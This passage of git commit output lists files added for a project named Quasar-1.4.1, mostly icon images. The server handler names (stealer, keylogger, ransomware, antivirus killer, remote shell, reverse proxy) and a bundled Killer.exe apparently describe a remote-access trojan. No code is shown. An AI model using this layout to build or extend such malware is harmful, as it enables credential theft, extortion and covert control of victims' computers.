Quasar-1.4.1/Quasar.Server/Images/user_edit.png create mode 100755 Quasar-1.4.1/Quasar.Server/Images/webcam.png create mode 100755 Quasar-1.4.1/Quasar.Server/Images/website.png create mode 100755 Quasar-1.4.1/Quasar.Server/Images/word.png create mode 100755 Quasar-1.4.1/Quasar.Server/Images/world.png create mode 100755 Quasar-1.4.1/Quasar.Server/Images/world_go.png create mode 100755 Quasar-1.4.1/Quasar.Server/Images/world_link.png create mode 100755 Quasar-1.4.1/Quasar.Server/Images/wrench.png create mode 100755 Quasar-1.4.1/Quasar.Server/Images/zoom.png create mode 100755 Quasar-1.4.1/Quasar.Server/Images/zoom_in.png create mode 100755 Quasar-1.4.1/Quasar.Server/Images/zoom_out.png create mode 100755 Quasar-1.4.1/Quasar.Server/Licensing/LicenseManager.cs create mode 100755 Quasar-1.4.1/Quasar.Server/Messages/AVKillerHandler.cs create mode 100755 Quasar-1.4.1/Quasar.Server/Messages/BotKillerHandler.cs create mode 100755 Quasar-1.4.1/Quasar.Server/Messages/ClientStatusHandler.cs create mode 100755 Quasar-1.4.1/Quasar.Server/Messages/FileManagerHandler.cs create mode 100755 Quasar-1.4.1/Quasar.Server/Messages/IntelixStealerHandler.cs create mode 100755 Quasar-1.4.1/Quasar.Server/Messages/KeyloggerHandler.cs create mode 100755 Quasar-1.4.1/Quasar.Server/Messages/LiveKeyloggerHandler.cs create mode 100755 Quasar-1.4.1/Quasar.Server/Messages/RansomwareHandler.cs create mode 100755 Quasar-1.4.1/Quasar.Server/Messages/RegistryHandler.cs create mode 100755 Quasar-1.4.1/Quasar.Server/Messages/RemoteDesktopHandler.cs create mode 100755 Quasar-1.4.1/Quasar.Server/Messages/RemoteDesktopHandler.cs.bak create mode 100755 Quasar-1.4.1/Quasar.Server/Messages/RemoteShellHandler.cs create mode 100755 Quasar-1.4.1/Quasar.Server/Messages/ReverseProxyHandler.cs create mode 100755 Quasar-1.4.1/Quasar.Server/Messages/StartupManagerHandler.cs create mode 100755 Quasar-1.4.1/Quasar.Server/Messages/SurvivalLogHandler.cs create mode 100755 Quasar-1.4.1/Quasar.Server/Messages/SystemInformationHandler.cs create mode 100755 Quasar-1.4.1/Quasar.Server/Messages/SystemOptionHandler.cs create mode 100755 Quasar-1.4.1/Quasar.Server/Messages/TaskManagerHandler.cs create mode 100755 Quasar-1.4.1/Quasar.Server/Messages/TcpConnectionsHandler.cs create mode 100755 Quasar-1.4.1/Quasar.Server/Messages/WebcamHandler.cs create mode 100755 Quasar-1.4.1/Quasar.Server/Models/BuildOptions.cs create mode 100755 Quasar-1.4.1/Quasar.Server/Models/BuilderProfile.cs create mode 100755 Quasar-1.4.1/Quasar.Server/Models/DummyCertificate.cs create mode 100755 Quasar-1.4.1/Quasar.Server/Models/FileManagerListTag.cs create mode 100755 Quasar-1.4.1/Quasar.Server/Models/FileTransfer.cs create mode 100755 Quasar-1.4.1/Quasar.Server/Models/Settings.cs create mode 100755 Quasar-1.4.1/Quasar.Server/Networking/BufferPool.cs create mode 100755 Quasar-1.4.1/Quasar.Server/Networking/Client.cs create mode 100755 Quasar-1.4.1/Quasar.Server/Networking/MockClient.cs create mode 100755 Quasar-1.4.1/Quasar.Server/Networking/QuasarServer.cs create mode 100755 Quasar-1.4.1/Quasar.Server/Networking/Server.cs create mode 100755 Quasar-1.4.1/Quasar.Server/Networking/UPnPService.cs create mode 100755 Quasar-1.4.1/Quasar.Server/Networking/UdpFrameReceiver.cs create mode 100755 Quasar-1.4.1/Quasar.Server/Networking/UserState.cs create mode 100755 Quasar-1.4.1/Quasar.Server/Program.cs create mode 100755 Quasar-1.4.1/Quasar.Server/Properties/AssemblyInfo.cs create mode 100755 Quasar-1.4.1/Quasar.Server/Properties/Resources.Designer.cs create mode 100755 Quasar-1.4.1/Quasar.Server/Properties/Resources.resx create mode 100755 Quasar-1.4.1/Quasar.Server/Properties/Settings.Designer.cs create mode 100755 Quasar-1.4.1/Quasar.Server/Properties/Settings.settings create mode 100755 Quasar-1.4.1/Quasar.Server/Quasar.Server.csproj create mode 100755 Quasar-1.4.1/Quasar.Server/Registry/RegValueHelper.cs create mode 100755 Quasar-1.4.1/Quasar.Server/Resources/Killer.exe create mode 100755 Quasar-1.4.1/Quasar.Server/Resources/Silk/accept.png create mode 100755 Quasar-1.4.1/Quasar.Server/Resources/Silk/add.png create mode 100755 Quasar-1.4.1/Quasar.Server/Resources/Silk/anchor.png create mode 100755 Quasar-1.4.1/Quasar.Server/Resources/Silk/application.png create mode 100755 Quasar-1.4.1/Quasar.Server/Resources/Silk/application_add.png create mode 100755 Quasar-1.4.1/Quasar.Server/Resources/Silk/application_cascade.png create mode 100755 Quasar-1.4.1/Quasar.Server/Resources/Silk/application_delete.png create mode 100755 Quasar-1.4.1/Quasar.Server/Resources/Silk/application_double.png create mode 100755 Quasar-1.4.1/Quasar.Server/Resources/Silk/application_edit.png create mode 100755 Quasar-1.4.1/Quasar.Server/Resources/Silk/application_error.png create mode 100755 Quasar-1.4.1/Quasar.Server/Resources/Silk/application_form.png create mode 100755 Quasar-1.4.1/Quasar.Server/Resources/Silk/application_form_add.png create mode 100755 Quasar-1.4.1/Quasar.Server/Resources/Silk/application_form_delete.png create mode 100755 Quasar-1.4.1/Quasar.Server/Resources/Silk/application_form_edit.png create mode 100755 Quasar-1.4.1/Quasar.Server/Resources/Silk/application_form_magnify.png create mode 100755 Quasar-1.4.1/Quasar.Server/Resources/Silk/application_get.png create mode 100755 Quasar-1.4.1/Quasar.Server/Resources/Silk/application_go.png create mode 100755 Quasar-1.4.1/Quasar.Server/Resources/Silk/application_home.png create mode 100755 Quasar-1.4.1/Quasar.Server/Resources/Silk/application_key.png create mode 100755 Quasar-1.4.1/Quasar.Server/Resources/Silk/application_lightning.png create mode 100755 Quasar-1.4.1/Quasar.Server/Resources/Silk/application_link.png create mode 100755 Quasar-1.4.1/Quasar.Server/Resources/Silk/application_osx.png create mode 100755 Quasar-1.4.1/Quasar.Server/Resources/Silk/application_osx_terminal.png create mode 100755 Quasar-1.4.1/Quasar.Server/Resources/Silk/application_put.png create mode 100755 Quasar-1.4.1/Quasar.Server/Resources/Silk/application_side_boxes.png create mode 100755 Quasar-1.4.1/Quasar.Server/Resources/Silk/application_side_contract.png create mode 100755 Quasar-1.4.1/Quasar.Server/Resources/Silk/application_side_expand.png create mode 100755 Quasar-1.4.1/Quasar.Server/Resources/Silk/application_side_list.png create mode 100755 Quasar-1.4.1/Quasar.Server/Resources/Silk/application_side_tree.png create mode 100755 Quasar-1.4.1/Quasar.Server/Resources/Silk/application_split.png create mode 100755 Quasar-1.4.1/Quasar.Server/Resources/Silk/application_tile_horizontal.png create mode 100755 Quasar-1.4.1/Quasar.Server/Resources/Silk/application_tile_vertical.png create mode 100755 Quasar-1.4.1/Quasar.Server/Resources/Silk/application_view_columns.png create mode 100755 Quasar-1.4.1/Quasar.Server/Resources/Silk/application_view_detail.png create mode 100755 Quasar-1.4.1/Quasar.Server/Resources/Silk/application_view_gallery.png create mode 100755 Quasar-1.4.1/Quasar.Server/Resources/Silk/application_view_icons.png create mode 100755 Quasar-1.4.1/Quasar.Server/Resources/Silk/application_view_list.png create mode 100755 Quasar-1.4.1/Quasar.Server/Resources/Silk/application_view_tile.png create mode 100755 Quasar-1.4.1/Quasar.Server/Resources/Silk/application_xp.png create mode 100755 Quasar-1.4.1/Quasar.Server/Resources/Silk/application_xp_terminal.png create mode 100755 Quasar-1.4.1/Quasar.Server/Resources/Silk/arrow_branch.png create mode 100755 Quasar-1.4.1/Quasar.Server/Resources/Silk/arrow_divide.png create mode 100755 Quasar-1.4.1/Quasar.Server/Resources/Silk/arrow_down.png create mode 100755 Quasar-1.4.1/Quasar.Server/Resources/Silk/arrow_in.png create mode 100755 Quasar-1.4.1/Quasar.Server/Resources/Silk/arrow_inout.png create mode 100755 Quasar-1.4.1/Quasar.Server/Resources/Silk/arrow_join.png create mode 100755 Quasar-1.4.1/Quasar.Server/Resources/Silk/arrow_left.png create mode 100755 Quasar-1.4.1/Quasar.Server/Resources/Silk/arrow_merge.png create mode 100755 Quasar-1.4.1/Quasar.Server/Resources/Silk/arrow_out.png create mode 100755 Quasar-1.4.1/Quasar.Server/Resources/Silk/arrow_redo.png create mode 100755 Quasar-1.4.1/Quasar.Server/Resources/Silk/arrow_refresh.png create mode 100755 Quasar-1.4.1/Quasar.Server/Resources/Silk/arrow_refresh_small.png create mode 100755 Quasar-1.4.1/Quasar.Server/Resources/Silk/arrow_right.png create mode 100755 Quasar-1.4.1/Quasar.Server/Resources/Silk/arrow_rotate_anticlockwise.png create mode 100755 Quasar-1.4.1/Quasar.Server/Resources/Silk/arrow_rotate_clockwise.png create mode 100755 Quasar-1.4.1/Quasar.Server/Resources/Silk/arrow_switch.png create mode 100755 Quasar-1.4.1/Quasar.Server/Resources/Silk/arrow_turn_left.png create mode 100755 Quasar-1.4.1/Quasar.Server/Resources/Silk/arrow_turn_right.png create mode 100755 Quasar-1.4.1/Quasar.Server/Resources/Silk/arrow_undo.png create mode 100755 Quasar-1.4.1/Quasar.Server/Resources/Silk/arrow_up.png create mode 100755 Quasar-1.4.1/Quasar.Server/Resources/Silk/asterisk_orange.png create mode 100755 Quasar-1.4.1/Quasar.Server/Resources/Silk/asterisk_yellow.png create mode 100755 Quasar-1.4.1/Quasar.Server/Resources/Silk/attach.png create mode 100755 Quasar-1.4.1/Quasar.Server/Resources/Silk/award_star_add.png create mode 100755 Quasar-1.4.1/Quasar.Server/Resources/Silk/award_star_bronze_1.png create mode 100755 Quasar-1.4.1/Quasar.Server/Resources/Silk/award_star_bronze_2.png create mode 100755 Quasar-1.4.1/Quasar.Server/Resources/Silk/award_star_bronze_3.png create mode 100755 Quasar-1.4.1/Quasar.Server/Resources/Silk/award_star_delete.png create mode 100755 Quasar-1.4.1/Quasar.Server/Resources/Silk/award_star_gold_1.png create mode 100755 Quasar-1.4.1/Quasar.Server/Resources/Silk/award_star_gold_2.png create mode 100755 Quasar-1.4.1/Quasar.Server/Resources/Silk/award_star_gold_3.png create mode 100755 Quasar-1.4.1/Quasar.Server/Resources/Silk/award_star_silver_1.png create mode 100755 Quasar-1.4.1/Quasar.Server/Resources/Silk/award_star_silver_2.png create mode 100755 Quasar-1.4.1/Quasar.Server/Resources/Silk/award_star_silver_3.png create mode 100755 Quasar-1.4.1/Quasar.Server/Resources/Silk/basket.png create mode 100755 Quasar-1.4.1/Quasar.Server/Resources/Silk/basket_add.png create mode 100755 Quasar-1.4.1/Quasar.Server/Resources/Silk/basket_delete.png create mode 100755 Quasar-1.4.1/Quasar.Server/Resources/Silk/basket_edit.png create mode 100755 Quasar-1.4.1/Quasar.Server/Resources/Silk/basket_error.png create mode 100755 Quasar-1.4.1/Quasar.Server/Resources/Silk/basket_go.png create mode 100755 Quasar-1.4.1/Quasar.Server/Resources/Silk/basket_put.png create mode 100755 Quasar-1.4.1/Quasar.Server/Resources/Silk/basket_remove.png create mode 100755 Quasar-1.4.1/Quasar.Server/Resources/Silk/bell.png create mode 100755 Quasar-1.4.1/Quasar.Server/Resources/Silk/bell_add.png create mode 100755 Quasar-1.4.1/Quasar.Server/Resources/Silk/bell_delete.png create mode 100755 Quasar-1.4.1/Quasar.Server/Resources/Silk/bell_error.png create mode 100755 Quasar-1.4.1/Quasar.Server/Resources/Silk/bell_go.png create mode 100755 Quasar-1.4.1/Quasar.Server/Resources/Silk/bell_link.png create mode 100755 Quasar-1.4.1/Quasar.Server/Resources/Silk/bin.png create mode 100755 Quasar-1.4.1/Quasar.Server/Resources/Silk/bin_closed.png create mode 100755 Quasar-1.4.1/Quasar.Server/Resources/Silk/bin_empty.png create mode 100755 Quasar-1.4.1/Quasar.Server/Resources/Silk/bomb.png create mode 100755 Quasar-1.4.1/Quasar.Server/Resources/Silk/book.png create mode 100755 Quasar-1.4.1/Quasar.Server/Resources/Silk/book_add.png create mode 100755 Quasar-1.4.1/Quasar.Server/Resources/Silk/book_addresses.png create mode 100755 Quasar-1.4.1/Quasar.Server/Resources/Silk/book_delete.png create mode 100755 Quasar-1.4.1/Quasar.Server/Resources/Silk/book_edit.png create mode 100755 Quasar-1.4.1/Quasar.Server/Resources/Silk/book_error.png create mode 100755 Quasar-1.4.1/Quasar.Server/Resources/Silk/book_go.png create mode 100755 Quasar-1.4.1/Quasar.Server/Resources/Silk/book_key.png create mode 100755 Quasar-1.4.1/Quasar.Server/Resources/Silk/book_link.png create mode 100755 Quasar-1.4.1/Quasar.Server/Resources/Silk/book_next.png create mode 100755 Quasar-1.4.1/Quasar.Server/Resources/Silk/book_open.png create mode 100755 Quasar-1.4.1/Quasar.Server/Resources/Silk/book_previous.png create mode 100755 Quasar-1.4.1/Quasar.Server/Resources/Silk/box.png create mode 100755 Quasar-1.4.1/Quasar.Server/Resources/Silk/brick.png create mode 100755 Quasar-1.4.1/Quasar.Server/Resources/Silk/brick_add.png create mode 100755 Quasar-1.4.1/Quasar.Server/Resources/Silk/brick_delete.png create mode 100755 Quasar-1.4.1/Quasar.Server/Resources/Silk/brick_edit.png create mode 100755 Quasar-1.4.1/Quasar.Server/Resources/Silk/brick_error.png create mode 100755 Quasar-1.4.1/Quasar.Server/Resources/Silk/brick_go.png create mode 100755 Quasar-1.4.1/Quasar.Server/Resources/Silk/brick_link.png create mode 100755 Quasar-1.4.1/Quasar.Server/Resources/Silk/bricks.png create mode 100755 Quasar-1.4.1/Quasar.Server/Resources/Silk/briefcase.png create mode 100755 Quasar-1.4.1/Quasar.Server/Resources/Silk/bug.png create mode 100755 Quasar-1.4.1/Quasar.Server/Resources/Silk/bug_add.png create mode 100755 Quasar-1.4.1/Quasar.Server/Resources/Silk/bug_delete.png create mode 100755 Quasar-1.4.1/Quasar.Server/Resources/Silk/bug_edit.png create mode 100755 Quasar-1.4.1/Quasar.Server/Resources/Silk/bug_error.png create mode 100755 Quasar-1.4.1/Quasar.Server/Resources/Silk/bug_go.png create mode 100755 Quasar-1.4.1/Quasar.Server/Resources/Silk/bug_link.png create mode 100755 Quasar-1.4.1/Quasar.Server/Resources/Silk/building.png create mode 100755 Quasar-1.4.1/Quasar.Server/Resources/Silk/building_add.png create mode 100755 Quasar-1.4.1/Quasar.Server/Resources/Silk/building_delete.png create mode 100755 Quasar-1.4.1/Quasar.Server/Resources/Silk/building_edit.png create mode 100755 Quasar-1.4.1/Quasar.Server/Resources/Silk/building_error.png create mode 100755 Quasar-1.4.1/Quasar.Server/Resources/Silk/building_go.png create mode 100755 Quasar-1.4.1/Quasar.Server/Resources/Silk/building_key.png create mode 100755 Quasar-1.4.1/Quasar.Server/Resources/Silk/building_link.png create mode 100755 Quasar-1.4.1/Quasar.Server/Resources/Silk/bullet_add.png create mode 100755 Quasar-1.4.1/Quasar.Server/Resources/Silk/bullet_arrow_bottom.png create mode 100755 Quasar-1.4.1/Quasar.Server/Resources/Silk/bullet_arrow_down.png create mode 100755 Quasar-1.4.1/Quasar.Server/Resources/Silk/bullet_arrow_top.png create mode 100755 Quasar-1.4.1/Quasar.Server/Resources/Silk/bullet_arrow_up.png create mode 100755 Quasar-1.4.1/Quasar.Server/Resources/Silk/bullet_black.png create mode 100755 Quasar-1.4.1/Quasar.Server/Resources/Silk/bullet_blue.png create mode 100755 Quasar-1.4.1/Quasar.Server/Resources/Silk/bullet_delete.png create mode 100755 Quasar-1.4.1/Quasar.Server/Resources/Silk/bullet_disk.png create mode 100755 Quasar-1.4.1/Quasar.Server/Resources/Silk/bullet_error.png create mode 100755 Quasar-1.4.1/Quasar.Server/Resources/Silk/bullet_feed.png create mode 100755 Quasar-1.4.1/Quasar.Server/Resources/Silk/bullet_go.png create mode 100755 Quasar-1.4.1/Quasar.Server/Resources/Silk/bullet_green.png create mode 100755 Quasar-1.4.1/Quasar.Server/Resources/Silk/bullet_key.png create mode 100755 Quasar-1.4.1/Quasar.Server/Resources/Silk/bullet_orange.png create mode 100755 Quasar-1.4.1/Quasar.Server/Resources/Silk/bullet_picture.png create mode 100755 Quasar-1.4.1/Quasar.Server/Resources/Silk/bullet_pink.png create mode 100755 Quasar-1.4.1/Quasar.Server/Resources/Silk/bullet_purple.png create mode 100755 Quasar-1.4.1/Quasar.Server/Resources/Silk/bullet_red.png create mode 100755 Quasar-1.4.1/Quasar.Server/Resources/Silk/bullet_star.png create mode 100755 Quasar-1.4.1/Quasar.Server/Resources/Silk/bullet_toggle_minus.png create mode 100755 Quasar-1.4.1/Quasar.Server/Resources/Silk/bullet_toggle_plus.png create mode 100755 Quasar-1.4.1/Quasar.Server/Resources/Silk/bullet_white.png create mode 100755 Quasar-1.4.1/Quasar.Server/Resources/Silk/bullet_wrench.png create mode 100755 Quasar-1.4.1/Quasar.Server/Resources/Silk/bullet_yellow.png create mode 100755 Quasar-1.4.1/Quasar.Server/Resources/Silk/cake.png create mode 100755 Quasar-1.4.1/Quasar.Server/Resources/Silk/calculator.png create mode 100755 Quasar-1.4.1/Quasar.Server/Resources/Silk/calculator_add.png create mode 100755 Quasar-1.4.1/Quasar.Server/Resources/Silk/calculator_delete.png create mode 100755 Quasar-1.4.1/Quasar.Server/Resources/Silk/calculator_edit.png create mode 100755 Quasar-1.4.1/Quasar.Server/Resources/Silk/calculator_error.png create mode 100755 Quasar-1.4.1/Quasar.Server/Resources/Silk/calculator_link.png create mode 100755 Quasar-1.4.1/Quasar.Server/Resources/Silk/calendar.png create mode 100755 Quasar-1.4.1/Quasar.Server/Resources/Silk/calendar_add.png create mode 100755 Quasar-1.4.1/Quasar.Server/Resources/Silk/calendar_delete.png create mode 100755 Quasar-1.4.1/Quasar.Server/Resources/Silk/calendar_edit.png create mode 100755 Quasar-1.4.1/Quasar.Server/Resources/Silk/calendar_link.png create mode 100755 Quasar-1.4.1/Quasar.Server/Resources/Silk/calendar_view_day.png create mode 100755 Quasar-1.4.1/Quasar.Server/Resources/Silk/calendar_view_month.png create mode 100755 Quasar-1.4.1/Quasar.Server/Resources/Silk/calendar_view_week.png create mode 100755 Quasar-1.4.1/Quasar.Server/Resources/Silk/camera.png create mode 100755 Quasar-1.4.1/Quasar.Server/Resources/Silk/camera_add.png create mode 100755 Quasar-1.4.1/Quasar.Server/Resources/Silk/camera_delete.png create mode 100755 Quasar-1.4.1/Quasar.Server/Resources/Silk/camera_edit.png create mode 100755 Quasar-1.4.1/Quasar.Server/Resources/Silk/camera_error.png create mode 100755 Quasar-1.4.1/Quasar.Server/Resources/Silk/camera_go.png create mode 100755 Quasar-1.4.1/Quasar.Server/Resources/Silk/camera_link.png create mode 100755 Quasar-1.4.1/Quasar.Server/Resources/Silk/camera_small.png create mode 100755 Quasar-1.4.1/Quasar.Server/Resources/Silk/cancel.png create mode 100755 Quasar-1.4.1/Quasar.Server/Resources/Silk/car.png create mode 100755 Quasar-1.4.1/Quasar.Server/Resources/Silk/car_add.png create mode 100755 Quasar-1.4.1/Quasar.Server/Resources/Silk/car_delete.png create mode 100755 Quasar-1.4.1/Quasar.Server/Resources/Silk/cart.png create mode 100755 Quasar-1.4.1/Quasar.Server/Resources/Silk/cart_add.png create mode 100755 Quasar-1.4.1/Quasar.Server/Resources/Silk/cart_delete.png create mode 100755 Quasar-1.4.1/Quasar.Server/Resources/Silk/cart_edit.png create mode 100755 Quasar-1.4.1/Quasar.Server/Resources/Silk/cart_error.png create mode 100755 Quasar-1.4.1/Quasar.Server/Resources/Silk/cart_go.png create mode 100755 Quasar-1.4.1/Quasar.Server/Resources/Silk/cart_put.png create mode 100755 Quasar-1.4.1/Quasar.Server/Resources/Silk/cart_remove.png create mode 100755 Quasar-1.4.1/Quasar.Server/Resources/Silk/cd.png create mode 100755 Quasar-1.4.1/Quasar.Server/Resources/Silk/cd_add.png create mode 100755 Quasar-1.4.1/Quasar.Server/Resources/Silk/cd_burn.png create mode 100755 Quasar-1.4.1/Quasar.Server/Resources/Silk/cd_delete.png create mode 100755 Quasar-1.4.1/Quasar.Server/Resources/Silk/cd_edit.png create mode 100755 Quasar-1.4.1/Quasar.Server/Resources/Silk/cd_eject.png create mode 100755 Quasar-1.4.1/Quasar.Server/Resources/Silk/cd_go.png create mode 100755 Quasar-1.4.1/Quasar.Server/Resources/Silk/chart_bar.png create mode 100755 Quasar-1.4.1/Quasar.Server/Resources/Silk/chart_bar_add.png create mode 100755 Quasar-1.4.1/Quasar.Server/Resources/Silk/chart_bar_delete.png create mode 100755 Quasar-1.4.1/Quasar.Server/Resources/Silk/chart_bar_edit.png create mode 100755 Quasar-1.4.1/Quasar.Server/Resources/Silk/chart_bar_error.png create mode 100755 Quasar-1.4.1/Quasar.Server/Resources/Silk/chart_bar_link.png create mode 100755 Quasar-1.4.1/Quasar.Server/Resources/Silk/chart_curve.png create mode 100755 Quasar-1.4.1/Quasar.Server/Resources/Silk/chart_curve_add.png create mode 100755 Quasar-1.4.1/Quasar.Server/Resources/Silk/chart_curve_delete.png create mode 100755 Quasar-1.4.1/Quasar.Server/Resources/Silk/chart_curve_edit.png create mode 100755 Quasar-1.4.1/Quasar.Server/Resources/Silk/chart_curve_error.png create mode 100755 Quasar-1.4.1/Quasar.Server/Resources/Silk/chart_curve_go.png create mode 100755 Quasar-1.4.1/Quasar.Server/Resources/Silk/chart_curve_link.png create mode 100755 Quasar-1.4.1/Quasar.Server/Resources/Silk/chart_line.png create mode 100755 Quasar-1.4.1/Quasar.Server/Resources/Silk/chart_line_add.png create mode 100755 Quasar-1.4.1/Quasar.Server/Resources/Silk/chart_line_delete.png create mode 100755 Quasar-1.4.1/Quasar.Server/Resources/Silk/chart_line_edit.png create mode 100755 Quasar-1.4.1/Quasar.Server/Resources/Silk/chart_line_error.png create mode 100755 Quasar-1.4.1/Quasar.Server/Resources/Silk/chart_line_link.png create mode 100755 Quasar-1.4.1/Quasar.Server/Resources/Silk/chart_organisation.png create mode 100755 Quasar-1.4.1/Quasar.Server/Resources/Silk/chart_organisation_add.png create mode 100755 Quasar-1.4.1/Quasar.Server/Resources/Silk/chart_organisation_delete.png create mode 100755 Quasar-1.4.1/Quasar.Server/Resources/Silk/chart_pie.png create mode 100755 Quasar-1.4.1/Quasar.Server/Resources/Silk/chart_pie_add.png create mode 100755 Quasar-1.4.1/Quasar.Server/Resources/Silk/chart_pie_delete.png create mode 100755 Quasar-1.4.1/Quasar.Server/Resources/Silk/chart_pie_edit.png create mode 100755 Quasar-1.4.1/Quasar.Server/Resources/Silk/chart_pie_error.png create mode 100755 Quasar-1.4.1/Quasar.Server/Resources/Silk/chart_pie_link.png create mode 100755 Quasar-1.4.1/Quasar.Server/Resources/Silk/clock.png create mode 100755 Quasar-1.4.1/Quasar.Server/Resources/Silk/clock_add.png create mode 100755 Quasar-1.4.1/Quasar.Server/Resources/Silk/clock_delete.png create mode 100755 Quasar-1.4.1/Quasar.Server/Resources/Silk/clock_edit.png create mode 100755 Quasar-1.4.1/Quasar.Server/Resources/Silk/clock_error.png create mode 100755 Quasar-1.4.1/Quasar.Server/Resources/Silk/clock_go.png create mode 100755 Quasar-1.4.1/Quasar.Server/Resources/Silk/clock_link.png create mode 100755 Quasar-1.4.1/Quasar.Server/Resources/Silk/clock_pause.png create mode 100755 Quasar-1.4.1/Quasar.Server/Resources/Silk/clock_play.png create mode 100755 Quasar-1.4.1/Quasar.Server/Resources/Silk/clock_red.png create mode 100755 Quasar-1.4.1/Quasar.Server/Resources/Silk/clock_stop.png create mode 100755 Quasar-1.4.1/Quasar.Server/Resources/Silk/cog.png create mode 100755 Quasar-1.4.1/Quasar.Server/Resources/Silk/cog_add.png create mode 100755 Quasar-1.4.1/Quasar.Server/Resources/Silk/cog_delete.png create mode 100755 Quasar-1.4.1/Quasar.Server/Resources/Silk/cog_edit.png create mode 100755 Quasar-1.4.1/Quasar.Server/Resources/Silk/cog_error.png create mode 100755 Quasar-1.4.1/Quasar.Server/Resources/Silk/cog_go.png create mode 100755 Quasar-1.4.1/Quasar.Server/Resources/Silk/coins.png create mode 100755 Quasar-1.4.1/Quasar.Server/Resources/Silk/coins_add.png create mode 100755 Quasar-1.4.1/Quasar.Server/Resources/Silk/coins_delete.png create mode 100755 Quasar-1.4.1/Quasar.Server/Resources/Silk/color_swatch.png create mode 100755 Quasar-1.4.1/Quasar.Server/Resources/Silk/color_wheel.png create mode 100755 Quasar-1.4.1/Quasar.Server/Resources/Silk/comment.png create mode 100755 Quasar-1.4.1/Quasar.Server/Resources/Silk/comment_add.png create mode 100755 Quasar-1.4.1/Quasar.Server/Resources/Silk/comment_delete.png create mode 100755 Quasar-1.4.1/Quasar.Server/Resources/Silk/comment_edit.png create mode 100755 Quasar-1.4.1/Quasar.Server/Resources/Silk/comments.png create mode 100755 Quasar-1.4.1/Quasar.Server/Resources/Silk/comments_add.png create mode 100755 Quasar-1.4.1/Quasar.Server/Resources/Silk/comments_delete.png create mode 100755 Quasar-1.4.1/Quasar.Server/Resources/Silk/compress.png create mode 100755 Quasar-1.4.1/Quasar.Server/Resources/Silk/computer.png create mode 100755 Quasar-1.4.1/Quasar.Server/Resources/Silk/computer_add.png create mode 100755 Quasar-1.4.1/Quasar.Server/Resources/Silk/computer_delete.png create mode 100755 Quasar-1.4.1/Quasar.Server/Resources/Silk/computer_edit.png create mode 100755 Quasar-1.4.1/Quasar.Server/Resources/Silk/computer_error.png create mode 100755 Quasar-1.4.1/Quasar.Server/Resources/Silk/computer_go.png create mode 100755 Quasar-1.4.1/Quasar.Server/Resources/Silk/computer_key.png create mode 100755 Quasar-1.4.1/Quasar.Server/Resources/Silk/computer_link.png create mode 100755 Quasar-1.4.1/Quasar.Server/Resources/Silk/connect.png create mode 100755 Quasar-1.4.1/Quasar.Server/Resources/Silk/contrast.png create mode 100755 Quasar-1.4.1/Quasar.Server/Resources/Silk/contrast_decrease.png create mode 100755 Quasar-1.4.1/Quasar.Server/Resources/Silk/contrast_high.png create mode 100755 Quasar-1.4.1/Quasar.Server/Resources/Silk/contrast_increase.png create mode 100755 Quasar-1.4.1/Quasar.Server/Resources/Silk/contrast_low.png create mode 100755 Quasar-1.4.1/Quasar.Server/Resources/Silk/control_eject.png create mode 100755 Quasar-1.4.1/Quasar.Server/Resources/Silk/control_eject_blue.png create mode 100755 Quasar-1.4.1/Quasar.Server/Resources/Silk/control_end.png create mode 100755 Quasar-1.4.1/Quasar.Server/Resources/Silk/control_end_blue.png create mode 100755 Quasar-1.4.1/Quasar.Server/Resources/Silk/control_equalizer.png create mode 100755 Quasar-1.4.1/Quasar.Server/Resources/Silk/control_equalizer_blue.png create mode 100755 Quasar-1.4.1/Quasar.Server/Resources/Silk/control_fastforward.png create mode 100755 Quasar-1.4.1/Quasar.Server/Resources/Silk/control_fastforward_blue.png create mode 100755 Quasar-1.4.1/Quasar.Server/Resources/Silk/control_pause.png create mode 100755 Quasar-1.4.1/Quasar.Server/Resources/Silk/control_pause_blue.png create mode 100755 Quasar-1.4.1/Quasar.Server/Resources/Silk/control_play.png create mode 100755 Quasar-1.4.1/Quasar.Server/Resources/Silk/control_play_blue.png create mode 100755 Quasar-1.4.1/Quasar.Server/Resources/Silk/control_repeat.png create mode 100755 Quasar-1.4.1/Quasar.Server/Resources/Silk/control_repeat_blue.png create mode 100755 Quasar-1.4.1/Quasar.Server/Resources/Silk/control_rewind.png create mode 100755 Quasar-1.4.1/Quasar.Server/Resources/Silk/control_rewind_blue.png create mode 100755 Quasar-1.4.1/Quasar.Server/Resources/Silk/control_start.png create mode 100755 Quasar-1.4.1/Quasar.Server/Resources/Silk/control_start_blue.png create mode 100755 Quasar-1.4.1/Quasar.Server/Resources/Silk/control_stop.png create mode 100755 Quasar-1.4.1/Quasar.Server/Resources/Silk/control_stop_blue.png create mode 100755 Quasar-1.4.1/Quasar.Server/Resources/Silk/controller.png create mode 100755 Quasar-1.4.1/Quasar.Server/Resources/Silk/controller_add.png create mode 100755 Quasar-1.4.1/Quasar.Server/Resources/Silk/controller_delete.png create mode 100755 Quasar-1.4.1/Quasar.Server/Resources/Silk/controller_error.png create mode 100755 Quasar-1.4.1/Quasar.Server/Resources/Silk/creditcards.png create mode 100755 Quasar-1.4.1/Quasar.Server/Resources/Silk/cross.png create mode 100755 Quasar-1.4.1/Quasar.Server/Resources/Silk/css.png create mode 100755 Quasar-1.4.1/Quasar.Server/Resources/Silk/css_add.png create mode 100755 Quasar-1.4.1/Quasar.Server/Resources/Silk/css_delete.png create mode 100755 Quasar-1.4.1/Quasar.Server/Resources/Silk/css_go.png create mode 100755 Quasar-1.4.1/Quasar.Server/Resources/Silk/css_valid.png create mode 100755 Quasar-1.4.1/Quasar.Server/Resources/Silk/cup.png create mode 100755 Quasar-1.4.1/Quasar.Server/Resources/Silk/cup_add.png create mode 100755 Quasar-1.4.1/Quasar.Server/Resources/Silk/cup_delete.png create mode 100755 Quasar-1.4.1/Quasar.Server/Resources/Silk/cup_edit.png create mode 100755 Quasar-1.4.1/Quasar.Server/Resources/Silk/cup_error.png create mode 100755 Quasar-1.4.1/Quasar.Server/Resources/Silk/cup_go.png create mode 100755 Quasar-1.4.1/Quasar.Server/Resources/Silk/cup_key.png create mode 100755 Quasar-1.4.1/Quasar.Server/Resources/Silk/cup_link.png create mode 100755 Quasar-1.4.1/Quasar.Server/Resources/Silk/cursor.png create mode 100755 Quasar-1.4.1/Quasar.Server/Resources/Silk/cut.png create mode 100755 Quasar-1.4.1/Quasar.Server/Resources/Silk/cut_red.png create mode 100755 Quasar-1.4.1/Quasar.Server/Resources/Silk/database.png create mode 100755 Quasar-1.4.1/Quasar.Server/Resources/Silk/database_add.png create mode 100755 Quasar-1.4.1/Quasar.Server/Resources/Silk/database_connect.png create mode 100755 Quasar-1.4.1/Quasar.Server/Resources/Silk/database_delete.png create mode 100755 